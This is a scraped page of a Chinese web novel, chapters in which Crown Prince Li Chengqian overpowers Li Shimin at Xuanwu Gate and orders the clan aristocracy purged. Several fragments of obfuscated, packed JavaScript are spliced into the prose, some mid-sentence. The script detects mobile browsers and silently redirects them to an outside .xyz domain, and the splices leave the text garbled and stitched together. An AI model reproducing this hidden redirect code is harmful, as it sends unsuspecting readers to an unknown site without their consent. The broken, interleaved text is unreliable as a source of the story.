RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253059|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几名宫女和太监如蒙大赦,手忙脚乱地抬起昏厥过去的长孙皇后,仓皇离去。 长乐公主哭喊着“母后”,也跌跌撞撞地跟了上去。 城楼上,瞬间空旷了许多。 只剩下依旧昏迷不醒的李世民,和被禁军用刀架着脖子,面如死灰的长孙无忌、房玄龄、魏征三人。 以及,那个独立于风中,宛如魔神的太子李承乾。 “殿下……” 一名禁军将领,硬着头皮上前,声音干涩地请示:“这三位大人……” 他的话没说完,但意思很明显。 真的要抓吗? 这可是大唐朝堂的擎天玉柱啊!抓了他们,整个朝廷都会瘫痪! 李承乾没有立刻回答。 他的目光,越过这片血色的玄武门,望向了远处巍峨的长安城。 他知道,拿下这三位重臣,只是一个开始。 他要做的,不仅仅是清除异己,更是要彻底打碎旧有的秩序,建立一个完全属于他李承乾的,新的大唐! 而要做到这一点,光靠杀戮和恐惧,是不够的。 他需要一个契机,一个足以让天下人都信服的理由。 一个……名正言顺的借口。 就在此时,一道身穿粗布麻衣的身影,缓缓走上了城楼。 他赤着双脚,头发用一根木簪束着,面容清癯,眼神古井无波。 正是刚刚被李承乾册封为“天师”的,袁天罡。 袁天罡的出现,让在场所有人都悚然一惊。 尤其是长孙无忌,当他看到袁天罡的瞬间,瞳孔猛地收缩。 他终于明白了。 原来,不良人,这支皇帝最隐秘的利刃,早就已经落入了太子的手中! 袁天罡,这个他一直以为已经心灰意冷,退隐山林的老狐狸,根本就是太子安插在父皇身边,最深的一颗棋子! “草民,拜见殿下。”袁天罡走到李承乾面前,微微躬身,姿态谦卑,但那双洞悉世事的眼眸里,却闪烁着智慧的光芒。 “天师,免礼。”李承乾淡淡地说道,“你来得正好。” “殿下有何吩咐?” “孤要清洗佛门,肃清朝堂,但缺一个足以让天下人信服的理由。”李承乾直截了当地说道,“你,可有良策?” 第135章 陛下需要的理由,天下人给您了! 袁天罡的声音很轻,只是在陈述一个再简单不过的道理,却让整个玄武门城楼上的空气都为之凝固。 “殿下,您要的理由,天下人已经给您了。” 他没有看李承乾,而是缓缓转身,那双古井无波的眼眸,扫过下方那群愤怒而又茫然的百姓,扫过那些被禁军按在地上,面如死灰的朝廷重臣。 “佛门之恶,罄竹难书。他们不事生产,却坐拥万顷良田;他们不纳税赋,却富可敌国。他们用百姓的香火钱,放着**的**,逼得人家破人亡。他们将佛寺变成淫窝,将慈悲变成屠刀。这桩桩件件,哪一件不是血淋淋的现实?哪一件,不是动摇国本的大罪?” 袁天罡的声音陡然拔高,充满了悲天悯人的苍凉。 “殿下,这天下,病了。病的很重。” 他伸出枯瘦的手指,指向那些被拿下的僧侣,又指向了远处巍峨的长安城。 “这些僧人,是烂在皮肉上的毒疮。而那些盘踞朝堂,与佛门勾结,吸食民脂民膏的世家门阀,就是病入骨髓的剧毒!毒疮不挖,剧毒不除,大唐这副身子骨,迟早要垮掉!” “殿下今日之举,不是杀戮,是治病!是以雷霆手段,行菩萨心肠!” “您要的理由,从来就不是为了说服您自己,而是为了给这天下一个交代。而现在,这个交代,就是民心!就是那城楼下,万千百姓的滔**火!” “殿下,您无需再寻找任何借口。您要做的,只是顺天应人。将这场清洗,进行到底!” “以杀,证道!” 最后四个字,袁天罡说得斩钉截铁,掷地有声。 这番话,让被禁军用刀架着脖子的长孙无忌、房玄龄、魏征三人,听得浑身冰冷。 房玄龄和魏征心中是无尽的悲凉。 他们知道袁天罡说的是事实,佛门和世家的毒,早已深入骨髓。 可如此酷烈的手段,真的能救大唐吗? 这和前朝的**,又有何异? 而长孙无忌,他听到的,却是另一层意思。 他看着袁天罡,又看了看面无表情的李承乾,一个可怕的念头在他心中升起,让他如坠冰窟。 这一切,都是设计好的! 从揭露佛门罪行,到引爆百姓怒火,再到袁天罡此刻这番“顺天应人”的言论…… 这是一个完美的闭环! 李承乾他不是一时兴起的疯狂,他从一开始,就想好了每一步! 他要的,不仅仅是皇位,他是要用最血腥的方式,清洗掉所有他认为的障碍,然后在一个干干净净的棋盘上,建立一个完全属于他自己的新秩序! 而他们这些所谓的肱骨之臣,不过是他用来祭旗的第一个牺牲品! 想通了这一点,长孙无忌只觉得寒气从尾椎骨直冲天灵盖,连牙齿都在打颤。 他看着自己的外甥,那个曾经还需要他扶持的太子,如今却成了一个他完全看不透的,深不可测的怪物。 李承乾静静地听着袁天罡的话,脸上依旧是那副冰冷的表情。 他当然知道这些。 他不需要袁天罡来教他怎么做。 他需要的,是袁天罡这张嘴,是“天师”这张嘴,把他想做的事情,用一种天下人都能接受的方式,说出来。 “天师,说得很好。” 李承乾淡淡地开口,声音里听不出喜怒。 他踱步到城楼边缘,俯瞰着下方那片混乱而又压抑的场景。 昏迷的父亲,昏厥的母亲,被捕的重臣,还有那群被他吓破了胆的僧侣。 他的心中,没有半分得意,只有一片冰冷的空旷。 他缓缓抬起手。 整个玄武门,瞬间安静了下来。 所有人的目光,都聚焦在他那只抬起的手上,等待着他接下来的宣判。 “李君羡。” “末将在!” 城楼下,李君羡策马而出,声如洪钟。 “将这些罪僧,全部押下去!” 李承乾的声音不大,却清晰地传遍了整个广场,“孤要亲自审问!他们吃进去的每一两银子,都要给孤吐出来!他们欠下的每一笔血债,都要用命来偿!” “诺!” 金吾卫们如狼似虎地冲上前,将那些早已瘫软如泥的僧侣们一个个拖走。 了凡和尚和慧寂和尚,此刻连哭喊的力气都没有了,他们面如死灰,眼神空洞,任由士兵们拖拽着,嘴里只是无意识地念叨着:“完了……全完了……” 处理完这些僧侣,李承乾的目光,缓缓落在了城楼上那些面色各异的官员身上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253060|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >尤其是那几个之前跟着李泰煦,叫嚣着要将他划清界限的五姓七望的官员。 此刻,他们一个个缩着脖子,恨不得把自己变成透明的,生怕被太子殿下那双可怕的眼睛注意到。 然而,该来的,终究是躲不掉的。 就在这死的寂静中,昏迷中的李世民,眼皮动了动,发出一声微弱的呻吟。 一名太医连忙上前,在他的人中处用力掐了一下。 “唔……” 李世民缓缓地睁开了眼睛。 他的眼神,起初是迷茫的,空洞的。 他看着头顶阴沉的天空,看着周围那些惊慌失措的内侍和官员,一时间竟想不起来发生了什么。 可当他的目光,落在那依旧被禁军用刀架着脖子的长孙无忌和房玄龄身上时,所有的记忆,如同决堤的洪水,瞬间涌入了他的脑海。 被当众揭开的敛财黑幕,被万民指责的**,被亲生儿子用“手足相残”四个字顶撞得哑口无言的崩溃…… 还有,那句诛心的话。 “李世民!你配吗?!” “噗——” 一口气没上来,又是腥甜的液体从他喉头涌上,只是这一次,他没有喷出来,而是被他强行咽了回去。 不能倒下! 朕是天子! 朕不能在这里倒下! 属于帝王的最后的尊严,支撑着他,让他挣扎着,试图从冰冷的地面上坐起来。 “陛下!” “父皇!” 周围的内侍和还未被抓的官员们,如蒙大赦,连忙上前搀扶。 李世民在众人的搀扶下,摇摇晃晃地站了起来。 他的一张脸,已经毫无血色,嘴唇泛着青紫,看上去瞬间苍老了十岁。 他的目光,穿过人群,死死地锁定了那个负手而立的背影。 李承乾。 他的逆子! 愤怒,**,不甘,还有连他自己都不愿承认的恐惧,在他胸中交织翻腾。 他想开口,想怒斥,想用天子的威严,将这个逆子彻底**。 可他张了张嘴,却发现自己什么都说不出来。 说什么? 说他敛财是为了大唐? 刚才已经说过了,换来的是更深的羞辱。 第136章 父皇,看看,这就是你的肱骨 李世民的心,一点点地沉了下去。 不良人已经倒戈,城外的军队态度不明,他现在就是一个被架空了的孤家寡人。 但他还没有绝望。 他还有最后一张底牌。 一张他认为李承乾无论如何也无法战胜的底牌。 那就是民心! 他李世民,是贞观之治的缔造者,是万民敬仰的圣君! 他爱民如子,轻徭薄赋,开创了前所未有的盛世! 就算他有一些污点,就算他用了一些不光彩的手段敛财,但在天下百姓的心中,他依然是那个带领他们走出战乱,过上好日子的天可汗! 而李承乾呢? 他今天在玄武门前,逼父弑妹,囚禁重臣,手段酷烈,形同**! 就算他能靠着武力,逼自己退位,坐上那个龙椅,他也绝不可能得到天下人的拥护! 他会成为一个篡位者,一个**,被钉在历史的耻辱柱上,遗臭万年! 民心所向,天命所归! 朕,还没输! 想到这里,李世民的眼中,重新燃起了微弱的光芒。 他死死地盯着李承乾,想从他脸上,看到一毫的动摇和不安。 只要他还在乎名声,还在乎这天下人的看法,那自己,就还有翻盘的机会! 然而,李承乾只是缓缓地转过身,平静地看着他。 那是什么眼神? 李世民的心脏猛地一缩。 那不是儿子看父亲的眼神,不是臣子看君主的眼神。 那是一种高高在上的,带着怜悯和嘲弄的眼神。 就像一个棋手,看着棋盘上那只还在做着最后挣扎,却早已注定死局的棋子。 李世民刚刚燃起的那点希望,瞬间被这道目光浇得冰冷。 他为什么不怕? 他难道真的不在乎天下人的看法吗? 他难道真的想做一个遗臭万年的**吗? 不可能! 绝对不可能! 自古以来,哪个帝王不在乎自己的身后名? 哪个君主不想流芳百世? 承乾他…… 他一定是在故作镇定! 他一定是在虚张声势! 对! 一定是这样! 李世民在心中疯狂地对自己说,他紧紧抓住“民心”这根最后的救命稻草,这样就能给自己带来力量。 他强撑着站直身体,试图找回属于帝王的威严,声音沙哑地开口:“承乾……你今日所为,已是天理不容!你以为,靠着武力,就能让天下臣服吗?” “朕告诉你,水能载舟,亦能覆舟!民心,才是这江山社稷的根本!你今日倒行逆施,滥杀无辜,早已失去了民心!就算你坐上了这个位置,也只会是一个孤家寡人,被万民唾弃!” 他说得掷地有声,自己才是正义的化身。 然而,李承乾听完,只是轻轻地笑了一下。 “民心?” 他重复着这两个字,语气里充满了玩味。 “父皇,您是不是对‘民心’这两个字,有什么误解?” 他没有再理会李世民,而是缓缓转身,目光扫向了城楼上那些噤若寒蝉的官员。 尤其是那几个之前附和李泰煦,此刻正抖如筛糠的五姓七望的代表。 他们接触到李承乾的目光,吓得浑身一哆嗦,几乎要瘫倒在地。 就在此时,太原王氏的家主王景,一个年过半百,素来以老成持重著称的老狐狸,眼珠子急速转动了几下。 他突然想明白了什么。 太子殿下,已经赢了。 皇帝陛下,已经输了。 这个时候,再抱着所谓的世家尊严,只有死路一条! 想要活下去,就必须…… “噗通!” 王景毫不犹豫地,双膝一软,重重地跪倒在李承乾的面前。 他这个动作,让周围所有人都愣住了。 紧接着,王景抬起头,一张老脸上涕泪横流,用一种充满了悲愤与忠诚的语气,高声哭喊道:“太子殿下圣明啊!” “臣等……臣等都是被李世民这个**子给骗了啊!” 他此言一出,满场皆惊! 李世民! 他竟然直呼皇帝的名讳! 李世民更是气得眼前一黑,差点又晕过去。 他指着王景,嘴唇哆嗦着,一个字也说不出来。 “你……你这个乱臣贼子!” 王景却没听到一样,他对着李承乾的方向,砰砰地磕头,额头撞在青石板上,发出沉闷的响声。 “殿下,您有所不知啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253061|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我等世家,也是受害者!” 他声泪俱下地控诉道:“这些年,佛门势大,强占我等的田产,挤压我等的生意!我等多次向陛下进言,可陛下他……他为了他那点肮脏的内帑私库,为了他那‘万国来朝’的虚名,对佛门的罪行视而不见,听而不闻!” “他才是佛门最大的靠山!他才是这天下最大的贪官!” “我等……我等也是被逼无奈,才不得不与那些妖僧虚与委蛇啊!” “还有那陇西李氏的李泰煦,他早就被佛门收买,成了佛门的走狗!今日之事,都是他一手策划,想要构陷殿下,我等……我等也是被他蒙蔽,才会说出那些糊涂话啊!” 这番话,说得是情真意切,颠倒黑白。 直接将自己从帮凶,变成了受害者。 将所有的罪责,都推到了**李泰煦和皇帝李世民的身上。 有了王景带头,其他几个世家的官员也瞬间反应了过来。 “是啊!殿下!王大人说的句句属实啊!” “我等对殿下,是忠心耿耿,日月可鉴!” “请殿下明察!诛杀李世民这个昏君!为我等做主啊!” 一时间,玄武门城楼上,哭喊声、效忠声、咒骂李世民的声音,响成一片。 那些刚才还道貌岸然的世家大族,此刻一个个撕下了虚伪的面具,露出了最卑劣无耻的嘴脸。 他们像一群闻到血腥味的鬣狗,毫不犹豫地扑向了已经倒下的雄狮,疯狂地撕咬着,只为向新的王,献上自己的投名状。 城楼下的百姓们,看着这出闹剧,一个个目瞪口呆。 他们虽然听不清城楼上具体在说什么,但那一声声“李世民”、“昏君”的称呼,他们还是听得清清楚楚。 刚才,是僧人说,他们的靠山是皇帝。 现在,连这些平日里高高在上的大官,都开始指责皇帝了。 百姓们心中的那杆秤,开始剧烈地摇摆。 他们看着城楼上那个摇摇欲坠的,被众人指责的皇帝身影,又看了看城下那个一身玄衣,身姿挺拔如枪的太子。 他们不知道谁对谁错。 但他们知道,那些僧人,是真的坏。 他们放印子钱,逼**命,是真的。 而太子殿下,是真的在为他们这些小老百姓出头。 第137章 屠灭门阀,五姓七望连根拔起! 这就够了。 李世民怔怔地看着眼前这荒诞的一幕。 他看着那些昨天还在他面前阿谀奉承,山呼万岁的臣子,此刻却像疯狗一样,撕咬着他的名誉,践踏着他的尊严。 他心中最后的那点希望,那所谓的“民心”,在这一刻,被撕得粉碎。 他错了。 他错得离谱。 他以为的民心,是建立在他“贞观之治”的功绩之上。 可他忘了,功绩是虚的,是会随着时间淡忘的。 而痛苦,是实的。 是被**逼得家破人亡的痛苦,是被强占了土地无家可归的痛苦,是被抢走了妻女的痛苦! 这些痛苦,就发生在百姓的身边,是他们每天都能看到,能听到的血淋淋的现实! 李承乾,他抓住了这一点。 他用最直接,最血腥的方式,将这些痛苦,赤裸裸地挖了出来,摆在了所有人的面前。 然后,他告诉所有人,造成这一切痛苦的根源,就是佛门,而佛门背后的靠山,就是你李世民! 多么简单,多么粗暴,又多么有效的手段! 他根本不需要什么民心。 他只需要…… 民怨! 用万民的怨气,做他屠刀的刀锋! 用万民的怒火,做他清洗世界的烈焰! 李世民浑身冰冷,他看着自己的儿子,那个从始至终都只是冷眼旁观的儿子,心中第一次,涌起了真正的…… 绝望。 他输了。 输得一败涂地。 输得连最后一点体面,都没有剩下。 你们也配! 李承乾静静地看着眼前这出丑态百出的闹剧。 他看着王景那张涕泪横流的老脸,看着那些世家官员们赌咒发誓、拼命效忠的卑微模样,眼神里没有半分波动,只有一片深不见底的冰冷和厌恶。 效忠? 就凭你们? 李承乾心中冷笑。 这群蛀虫,这群墙头草,就是大唐身上最顽固的毒瘤。 他们盘踞在朝堂之上,垄断了知识和官位,结党营私,相互攀附。 国家强盛时,他们便摇着尾巴,分享胜利的果实;国家衰弱时,他们便毫不犹豫地改换门庭,向新的主子献上自己的忠诚,只为保住自己家族的千年富贵。 他们嘴里喊着的是家国天下,心里想的却永远只有自家的那点利益。 父皇李世民,不是不知道他们的危害。 所以他才要扶持佛门,用佛门来制衡世家。 可结果呢? 佛门成了另一个更贪婪,更无耻的世家。 而这些门阀,依旧活得好好的。 他们就打不死的蟑螂,盘踞在这座华丽的宫殿里,啃食着帝国的根基。 父皇解决不了他们,是因为父皇自己,也需要依靠他们来维持朝局的稳定,需要用他们的名望,来装点自己“贞观之治”的门面。 父皇有太多的顾虑,太多的羁绊。 可我,李承乾,没有! 从我决定踏上这条路开始,我就已经舍弃了一切。 亲情,名声,道义…… 这些东西,对我来说,都毫无意义。 我只要一个结果。 一个干干净净的,属于我李承乾的大唐! 一个再也没有什么千年望族,没有什么法外之地的,皇权至上的大唐! 想到这里,李承乾的眼中,闪过毫不掩饰的杀机。 “都说完了吗?” 他淡淡地开口,声音不大,却像一道冰冷的寒流,瞬间让城楼上那片嘈杂的效忠声,戛然而止。 王景等人抬起头,看到李承乾那双不带任何感情的眼睛,心中莫名地一突,升起不祥的预感。 “殿……殿下……” 王景结结巴巴地说道,“臣……臣等对殿下的忠心,苍天可鉴!我等愿为殿下效死,助殿下……助殿下清扫朝纲,重整河山!” “效死?” 李承乾重复着这两个字,嘴角勾起一抹残忍的弧度。 “很好。” 他点了点头,很满意这个答案。 “既然你们这么想为孤效死……” 他的声音陡然转冷,如同来自九幽地狱的宣判。 “那孤,就成全你们!” 话音落下的瞬间,王景等人脸上的表情,彻底凝固了。 他们脸上的谄媚,眼中的希冀,瞬间变成了无边的惊恐和难以置信。 “殿……殿下……您……您这是什么意思?” 郑元寿的声音都在发抖。 “什么意思?” 李承乾笑了,那笑容里满是鄙夷和嘲弄,“你们这群见风使舵的狗东西,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253062|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配向孤效忠?” 他向前踏出一步,身上的杀气如狂澜般席卷而出。 “昨天,你们跟着李泰煦,在太极殿上,要把孤逐出族谱,断绝关系。那个时候,你们的忠心在哪里?” “刚才,你们眼看父皇失势,便立刻反咬一口,把他骂成昏君。你们的忠心,就是这么廉价的东西吗?” “你们以为,孤是父皇那种需要你们这些世家门阀来装点门面的人吗?” “你们以为,换个主子,你们就能继续作威作福,继续当你们的千年望族吗?” “做梦!” 李承乾一声爆喝,如同惊雷炸响。 “孤告诉你们!从今天起,这大唐,再没有什么五姓七望!再没有什么门阀世家!” “你们这群盘踞在帝国身上的吸血虫,孤要将你们,连根拔起,一个不留!” “不用等到黄巢,今天,我李承乾,就让你们这天下门阀,荡然无存!” 这番话,如同一道道黑色的闪电,狠狠劈在每一个世家官员的心头。 他们彻底傻了。 他们想过无数种可能,却唯独没有想过这一种。 太子殿下,他根本就没想过要收编他们! 他要的,是他们的命! 是要他们整个家族,彻底覆灭! “不!殿下!你不能这么做!” 王景发出了绝望的嘶吼,“我们……我们是朝廷的根基!你杀了我们,朝廷就瘫痪了!天下就要大乱了!” “根基?” 李承乾听到了天底下最好笑的笑话,“你们也配叫根基?你们不过是趴在树干上,吸食养分的藤蔓!砍了你们,大树只会长得更茂盛!” 他不再理会这些人的哀嚎,猛地转身,对着城楼下的李君羡,下达了冰冷的命令。 “李君羡!” “末将在!” “传孤之令!金吾卫、长城守卫军、不良人,全员出动!” “封锁长安城所有坊门!将太原王氏、荥阳郑氏、范阳卢氏……所有五姓七望在京官员、族人,有一个算一个,全部给孤拿下!” “照着族谱抓!” “抄没其全部家产!但凡有反抗者,窝藏者,一律……格杀勿论!” 李承乾将五姓七望的族谱扔在李君羡的面前。 族谱! 真是一个好东西! 第138章 天下门阀,荡然无存 李君羡的声音里,带着压抑不住的兴奋。 他等这一天,已经等了太久了! “拿下!” 随着他一声令下,城楼上那些待命已久的禁军和不良人,如狼似虎地扑了上去。 “啊——!” “太子殿下饶命啊!” “我们错了!我们真的错了!” 凄厉的惨叫声,求饶声,响彻整个玄武门。 那些刚才还在赌咒发誓效忠的世家大族官员,此刻一个个屁滚尿流,被士兵们死死按在地上,用粗麻绳捆得像个粽子。 他们的哭喊,他们的挣扎,在绝对的暴力面前,显得那么苍白无力。 李世民怔怔地看着这一切,他看着那些平日里在朝堂上与他争论国事的大臣,此刻却像猪狗一样被捆绑,他的心,已经麻木了。 疯了。 这个儿子,是真的疯了。 他不仅要**,他还要……刨根! 他要将传承了数百年的门阀**,用最血腥,最彻底的方式,从大唐的土地上,彻底抹去! 这是一个何等疯狂,又何等……可怕的念头! 李世民的身体,不受控制地颤抖起来。 他看着那个独立于血泊与哀嚎之中的儿子,第一次感觉到,他或许不是输给了儿子,而是输给了……一个全新的,他完全无法理解的时代。 **,开始了。 这不是一场战争,因为这根本算不上反抗。 这是一场冷酷而高效的清洗。 玄武门城楼上的哀嚎还未停歇,三支黑色的铁甲洪流,已经从皇宫涌出,带着太子李承乾那不容置疑的命令,如同三把锋利的尖刀,狠狠刺入了长安城的心脏。 李君羡率领的金吾卫,直扑城中各个官署衙门。 他们手持明晃晃的太子令,上面用朱砂写着一个大大的“杀”字。 但凡是名册上在列的世家官员,无论官居何位,无论正在做什么,一律当场拿下。 吏部的衙门里,一名姓郑的郎中正在悠闲地品着茶,和同僚谈论着今天朝堂上的变故,言语间对太子满是不屑。 “砰!” 大门被一脚踹开,十几名金吾卫冲了进来。 “拿下!” 那名郑郎中还没反应过来,就被两名士兵死死按在了桌子上,滚烫的茶水泼了他一脸。 “你们……你们干什么?我可是朝廷命官!你们……” 他的叫嚣,被一个冰冷的刀柄,狠狠地砸在了后脑勺上,瞬间变成了呜咽。 户部的府库前,一名王氏的官员正想趁乱,将一些账册偷偷带走。 他刚走到门口,就被一队从天而降的金吾卫堵了个正着。 看着对方手中那份写满了名字的名单,他双腿一软,瘫倒在地,手中的账册散落一地。 相似的场景,在长安城的每一个衙门里上演。 长城守卫军,则负责封锁长安一百零八坊。 沉重的坊门被轰然关闭,吊桥升起。 整座长安城,变成了一座巨大的牢笼。 一只鸟,都飞不出去。 而最令人恐惧的,是那些戴着青铜鬼面的不良人。 他们无声无息,如同鬼魅,穿行在长安城的深宅大院之中。 他们不走正门,而是直接翻墙而入。 他们手里,同样拿着一份名单。 这份名单,比金吾卫的更详细,更可怕。 上面不仅有官员的名字,还有他们的家人,他们的亲族,甚至……他们藏匿在城中各处的外室和私生子。 荥阳郑氏的府邸内。 郑家的老太爷,也就是那位在城楼上第一个反水,又第一个被拿下的大臣郑元寿的父亲,正焦急地在大堂里踱步。 他已经听说了玄武门发生的事情,心中充满了不安。 “快!快去把府里的金银细软都收拾好!从后门的密道走!”他对着管家厉声吩咐。 管家连滚带爬地跑了出去。 可他还没跑到后院,一声凄厉的惨叫就从墙外传来。 紧接着,数十道黑影,如同鬼魅,从高墙之上一跃而下,落在了庭院之中。 他们手中的横刀,在月光下闪烁着森然的寒光。 “奉太子令,郑氏满门,全部拿下!” 冰冷的声音,如同死神的宣判。 郑家的家丁护院们,平日里仗着主家的权势,在长安城里作威作福,可面对这些从地狱里爬出来的杀神,他们连拔刀的勇气都没有。 “噗嗤!” 手起,刀落。 反抗,只存在于一瞬间。 鲜血,染红了郑家华丽的庭院。 哭喊声,求饶声,响成一片。 郑老太爷瘫倒在太师椅上,看着那些被拖出来的儿孙、女眷,一张老脸,已经毫无血色。 他知道,完了。 传承了数百年的荥阳郑氏,今天,就要彻底从这世上消失了。 不良人们的动作,冷酷而高效。 他们冲进府库,将一箱箱金银珠宝,一卷卷田契地契,全部贴上封条。 他们冲进书房,将那些记录着郑家数百年来人脉关系、官场秘闻的信件文书,全部收缴。 他们甚至……冲进了后院那几口看似普通的枯井。 从井底的暗格里,他们拖出了几具早已腐烂发臭的尸骨。 那是一些不听话的家奴,或是一些知道了太多秘密的政敌。 这些,都将成为郑家谋逆的铁证。 整个长安城,在这一夜,化作了人间炼狱。 哭喊声,惨叫声,金铁交鸣声,此起彼伏。 曾经不可一世的五姓七望,在太子李承乾的铁血屠刀之下,如同纸糊的,不堪一击。 无数百姓,躲在自家的门窗后面,瑟瑟发抖地看着这一切。 他们恐惧,但更多的,是一种难以言喻的快意。 这些平日里高高在上的世家大老爷们,终于也尝到了家破人亡的滋味! 玄武门城楼上。 李承乾依旧静静地站着,他像一尊没有感情的雕塑,俯瞰着脚下这座正在被血与火清洗的城市。 风,将城中传来的隐约哭喊声,送到他的耳边。 他脸上没有任何表情,但那双幽深的眸子里,却闪烁着兴奋的光芒。 破而后立! 不把这些旧世界的垃圾,全部清扫干净,又如何能建立一个属于他的新世界? 李世民就站在他不远处,他同样听到了城中的动静。 他的身体,在微微颤抖。 不是因为恐惧,而是因为一种无力的,彻骨的悲凉。 他知道,李承乾在做什么。 他在用最极端的方式,完成自己当年想做,却不敢做,也做不到的事情。 彻底打碎门阀**! 自己当年,也曾想过。 所以他修《氏族志》,贬低山东士族,抬高关陇贵族。 可结果呢? 不过是换了一批人,来分享权力罢了。 世家的根,盘根错节,早已和这个帝国,长在了一起。 想要拔掉它,就会伤筋动骨,甚至……让整个帝国都随之崩溃。 所以他不敢。 他只能用温和的手段,一点点地剪除枝叶,希望有朝一日,能让这棵大树,慢慢枯萎。 可承乾,他不管这些。 他直接拿起了最锋利的斧头,对着树根,狠狠地砍了下去! 他不在乎会不会伤筋动骨,他甚至……不在乎这棵大树会不会倒下。 他要的,就是彻底的毁灭! 李世民看着儿子那冷酷的侧脸,心中第一次,对自己的“贞观之治”,产生了怀疑。 难道,我真的错了吗? 我所谓的稳定,所谓的平衡,所谓的盛世,难道都只是一个虚假的泡沫? 一个建立在无数百姓和底层士族的血泪之上的,华丽的谎言? 就在李世民心神激荡,陷入自我怀疑的深渊时。 一阵急促的马蹄声,由远及近,再次打破了长安城的死寂。 那马蹄声,急促如鼓点,带着烽火连天的肃杀之气,从朱雀大街的尽头,滚滚而来。 “咚!咚!咚!” 这声音,与之前不良人进城时的死寂,截然不同。 这声音里,有金戈铁马,有狼烟蔽日,有千军万马的奔腾! 玄武门城楼上,所有人的心,都瞬间提到了嗓子眼。 在这个节骨眼上,又出什么事了? 难道是……外敌入侵? 还是说,有哪里的藩王,打着“清君侧”的旗号,来救驾了? 李世民那本已死灰一片的眼中,也猛地爆出精光。 他死死地盯着声音传来的方向,心中涌起连他自己都觉得荒谬的希望。 来人! 快来人! 快来人阻止这个疯子! 只要有人能阻止他,哪怕是朕最不愿看到的藩王作乱,也比眼睁睁看着他将大唐彻底拖入深渊要好! 在众人紧张的注视下,一个黑点,出现在了朱雀大街的尽头。 那是一名骑士,他伏在马背上,用尽全身的力气,挥舞着马鞭,疯狂地抽打着身下的战马。 战马已经口吐白沫,四蹄翻飞,却依旧在主人的催促下,燃烧着最后的生命力,向前飞奔。 骑士的背后,插着一面小小的,已经被汗水和尘土染得看不出颜色,却依旧让所有识货的人心头剧震的旗帜。 八百里加急! 军国大事! “快!让开!八百里加急!” 骑士的声音,沙哑得如同被砂纸磨过,却充满了穿透力。 街道上正在执行封锁任务的长城守卫军,听到这声呼喊,训练有素地向两边分开,让出了一条通路。 骑士如同一道黑色的闪电,从那条通路中一穿而过,直扑皇城。 “开城门!!” 骑士的吼声,在玄武门前响起。 李君羡看了一眼城楼上的太子,见他微微点头,立刻高声下令:“开门!” 沉重的玄武门,缓缓打开。 那名骑士,连人带马,如同旋风,冲了进来。 他在冲进来的瞬间,已经耗尽了最后力气,双腿一软,直接从飞奔的马背上摔了下来,在地上滚了好几圈。 而那匹神骏的战马,在冲进城门后,悲鸣一声,轰然倒地,四蹄抽搐了几下,便再也没了声息。 它,竟是活活累死的! 所有人的心,都沉了下去。 能让一匹百里挑一的战马活活跑死,这送来的,究竟是何等惊天的消息? 两名禁军立刻上前,将那名已经摔得七荤八素的骑士扶了起来。 骑士挣扎着站稳,他顾不上擦去脸上的血污和尘土,从怀中掏出一卷用火漆封口的竹筒,高高举过头顶,用尽全身的力气,嘶声喊道: “北境……北境八百里加急军报!” “秦怀玉、程处默、尉迟宝林三位将军,已于三日前,率领北境三十万大军,班师回朝!” “他们……他们说……” 骑士喘着粗气,下一秒就要晕过去。 “他们说什么!快说!”李世民再也忍不住了,他趴在城垛上,厉声喝问。 秦琼、程咬金、尉迟恭等一众武将,更是个个双拳紧握,心提到了嗓子眼。 他们的儿子! 他们竟然擅自带兵回朝了? 这是要**吗?! 那名骑士抬起头,看了一眼城楼上那道明黄色的身影,又看了看旁边那个一身玄衣,冷酷如冰的太子。 他的眼中,闪过犹豫和恐惧。 但最终,他还是咬了咬牙,将竹筒递给了上前来的李君羡,然后用尽最后的力气,喊出了那句足以让整个大唐天翻地覆的话。 “三位将军……联合上书!” “他们说……当今天子,沉迷长生,宠信奸佞,纵容佛门祸乱天下,以致民怨沸腾,国本动摇!” “此等昏聩之君,不配为天下主!” “他们……他们愿奉太子殿下为新君!率三十万大军,回京……回京……” “清!君!侧!” 轰隆隆! 九天之上,有无数道天雷,同时炸响! 整个玄武门,连同整个长安城,在这一刻,彻底失声。 时间,被冻结了。 空间,被撕裂了。 所有人的脑海中,都只剩下“清君侧”这三个字,在疯狂地回响,盘旋,炸裂! 李世民的身体,剧烈地晃动了一下。 